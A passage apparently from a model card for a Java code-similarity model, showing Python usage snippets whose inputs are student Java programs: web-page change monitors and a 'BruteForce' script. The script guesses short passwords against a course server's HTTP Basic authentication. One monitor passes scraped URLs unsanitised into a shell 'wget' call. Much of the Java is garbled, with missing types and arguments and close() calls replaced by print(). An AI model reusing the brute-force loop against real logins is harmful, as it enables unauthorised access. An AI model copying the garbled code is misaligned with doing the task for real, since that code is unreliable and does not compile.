(inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
